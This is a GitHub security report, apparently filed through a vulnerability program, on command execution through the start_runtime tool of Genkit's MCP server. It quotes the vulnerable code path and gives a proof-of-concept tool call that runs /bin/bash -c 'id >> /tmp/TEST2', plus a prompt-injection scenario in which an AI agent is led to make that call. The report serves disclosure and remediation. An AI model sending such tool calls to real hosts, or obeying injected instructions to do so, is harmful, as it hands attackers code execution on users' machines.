-
Notifications
You must be signed in to change notification settings - Fork 703
Remote Code Execution via start_runtime in Genkit MCP Server #5008
Description
Summary: Remote Code Execution via start_runtime in Genkit MCP Server
Program: OSS VRP
URL: https://github.com/genkit-ai/genkit
Vulnerability type: Remote Code Execution (RCE)
Details
Version: Latest
OS: Ubuntu 24.04.4 LTS
Summary
The start_runtime tool in the Genkit CLI MCP Server is vulnerable to arbitrary command execution (RCE). The user-supplied command and args parameters are passed directly to Node.js child_process.spawn() without any validation, sanitization, or allowlisting. A malicious MCP client can specify any executable as command (e.g., /bin/bash) and pass arbitrary arguments via args, achieving full remote code execution on the host machine with the privileges of the Genkit CLI process.
Detail
Genkit provides AI programming assistants (such as Claude, Gemini, and Cursor) with Genkit development workflow operations via the Model Context Protocol. The start_runtime tool is designed to start a Genkit runtime process — typically the entry point to the user's application — by accepting a command (string) and args (string array) that map directly to the function prototype of NodeJS.child_process.spawn().
The code validates only the types of command and args via Zod schemas (i.e., command is a string, args is a string array), but performs no semantic validation — no command allowlisting, no argument sanitization, and no restriction on executable paths. Any syntactically valid string is accepted as a command and passed unchanged through the call chain to child_process.spawn(). On Linux/macOS, spawn() is called with shell: false, meaning shell metacharacters in the command field are not interpreted — but this provides no meaningful protection, since the attacker can simply specify /bin/bash as command and pass ["-c", ""] as args to achieve full shell execution.
Clarified: This attack does not require OS-level shell access. The practically feasible triggering path is: an attacker initiates a prompt injection into the AI agent integrated with the Genkit Server, causing the agent to invoke the start_runtime tool with a malicious command and args — for example, {"command": "/bin/bash", "args": ["-c", "id >> /tmp/TEST2"]}. The spawned process runs with the full privileges of the Genkit CLI process, enabling arbitrary code execution, data exfiltration, lateral movement, or system compromise. No direct shell access by the attacker is required.
Vulnerable Code
Entry Point: MCP Tool Registration
File: genkit-tools/cli/src/mcp/runtime.ts
'start_runtime',
{
title: 'Starts a Genkit runtime process',
description: `Use this to start a Genkit runtime process (This is typically the entry point to the users app). Once started, the runtime will be picked up by the \`genkit start\` command to power the Dev UI features like model and flow playgrounds. The inputSchema for this tool matches the function prototype for \`NodeJS.child_process.spawn\`.
Examples:
{command: "go", args: ["run", "main.go"]}
{command: "npm", args: ["run", "dev"]}
{command: "npm", args: ["run", "dev"], projectRoot: "path/to/project"}`,
inputSchema: getCommonSchema(options.explicitProjectRoot, {
command: z.string().describe('The command to run; type: string'),
args: z
.array(z.string())
.describe(
'The array of string args for the command to run. Eg: `["run", "dev"]`; type: string[].'
),
}),
},
The Zod schema for command and args only performs type checking (string / string[]), has no whitelist, regular expression or enumeration constraints, and explicitly declares in the description that the schema corresponds to the child_process.spawn signature, which is equivalent to exposing an unrestricted system command execution interface to the caller.
Tool Handler: Direct Parameter Passthrough
File: genkit-tools/cli/src/mcp/runtime.ts
async (opts) => {
await record(new McpRunToolEvent('start_runtime'));
const rootOrError = resolveProjectRoot(
options.explicitProjectRoot,
opts,
options.projectRoot
);
if (typeof rootOrError !== 'string') return rootOrError;
try {
await options.manager.getManagerWithDevProcess({
projectRoot: rootOrError,
command: opts.command,
args: opts.args,
explicitProjectRoot: options.explicitProjectRoot,
timeout: options.timeout,
});
opts.command and opts.args are extracted from the MCP request payload and passed through directly without any semantic validation or filtering, and projectRoot can also be specified by an attacker as any path in the file system.
McpRuntimeManager: Transparent Relay
File: genkit-tools/cli/src/mcp/utils.ts
async getManagerWithDevProcess(params: {
projectRoot: string;
command: string;
args: string[];
explicitProjectRoot: boolean;
timeout?: number;
}): Promise<RuntimeManager> {
const { projectRoot, command, args, timeout, explicitProjectRoot } = params;
if (this.manager) {
await this.manager.stop();
}
const devManager = await startDevProcessManager(
projectRoot,
command,
args,
{
nonInteractive: true,
healthCheck: timeout !== 0,
timeout,
cwd: explicitProjectRoot ? projectRoot : undefined,
}
);
this.manager = devManager.manager;
this.currentProjectRoot = projectRoot;
return this.manager;
}
This layer only performs destructuring and forwarding of command, args, and projectRoot without any security checks. When explicitProjectRoot is true, the user-controlled projectRoot will become the working directory for command execution.
Process Creation: ProcessManager Instantiation
genkit-tools/cli/src/utils/manager-utils.ts
export async function startDevProcessManager(
projectRoot: string,
command: string,
args: string[],
options?: DevProcessManagerOptions
): Promise<{ manager: RuntimeManager; processPromise: Promise<void> }> {
const telemetryServerUrl = await resolveTelemetryServer({
projectRoot,
corsOrigin: options?.corsOrigin,
});
const disableRealtimeTelemetry = options?.disableRealtimeTelemetry ?? false;
const envVars: Record<string, string> = {
GENKIT_TELEMETRY_SERVER: telemetryServerUrl,
GENKIT_ENV: 'dev',
};
if (!disableRealtimeTelemetry) {
envVars.GENKIT_ENABLE_REALTIME_TELEMETRY = 'true';
}
const processManager = new ProcessManager(command, args, envVars);
const manager = await RuntimeManager.create({
telemetryServerUrl,
manageHealth: true,
projectRoot,
processManager,
disableRealtimeTelemetry,
});
const processPromise = processManager.start({ ...options });
The attacker-controlled command and args are directly passed to the ProcessManager constructor, and then start() is immediately called to trigger command execution, without any interception points in between.
Command Execution Sink: child_process.spawn
File: genkit-tools/common/src/manager/process-manager.ts
start(options?: ProcessManagerStartOptions): Promise<void> {
logger.debug(`Starting process: ${this.command} ${this.args.join(' ')}`);
return new Promise((resolve, reject) => {
this._status = 'running';
this.appProcess = spawn(this.command, this.args, {
cwd: options?.cwd,
env: {
...process.env,
...this.env,
},
shell: process.platform === 'win32',
});
The attacker-controlled parameters ultimately reach the spawn() system call. The process inherits the complete process.env (which may contain keys/tokens).
Attack scenario
Proof of Concept Using MCP Inspector NOTE: An attacker only needs to:
- Hijack any agent that deploys the MCP server
- Or be able to initiate a prompt injection against the agent that deploys the MCP server
to launch this attack.
Steps
- Build the project
- Verify that the file /tmp/TEST2 does not exist:
(base) skywings@skywings:~$ cat /tmp/TEST2
cat: /tmp/TEST2: 没有那个文件或目录
It means No such file or directory
- Start Inspector:
npx @ modelcontextprotocol/inspector@0.14 -- node genkit-tools/cli/dist/bin/genkit.js mcp --project-root .
- In MCP Inspector:
- Click Connect
- Go to the Tools tab and click List Tools
- Select the
start_runtimetool
- Invoke
start_runtimewith the following parameters: | Parameter | Value | | --------- | --------------------------- | |command|/bin/bash| |args|["-c","id >> /tmp/TEST2"]|
Observe the request:
{
"method": "tools/call",
"params": {
"name": "start_runtime",
"arguments": {
"command": "/bin/bash",
"args": [
"-c",
"id >> /tmp/TEST2"
]
},
"_meta": {
"progressToken": 4
}
}
}
and Response:
{
"content": [
{
"type": "text",
"text": "Error: {}"
}
],
"isError": true
}
- Observe the impact
(base) skywings@skywings:~$ cat /tmp/TEST2
uid=1000(skywings) gid=1000(skywings) 组=1000(skywings),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
As you can see, the specified content has been written to the specified file, indicating that the attack has been successful.
Suggested Remediation
- Command Allowlisting: Restrict command to a predefined set of safe executables (e.g., npm, node, go, python). Reject all other values before reaching spawn().
- Remove shell: true on Windows: Replace shell: process.platform === 'win32' with shell: false (or use cross-spawn) to prevent shell metacharacter injection via args.
- Human-in-the-Loop Confirmation: Require explicit user approval (e.g., via MCP sampling request) before spawning any process, preventing fully automated exploitation through prompt injection.
Metadata
Metadata
Assignees
Labels
Type
Projects
Status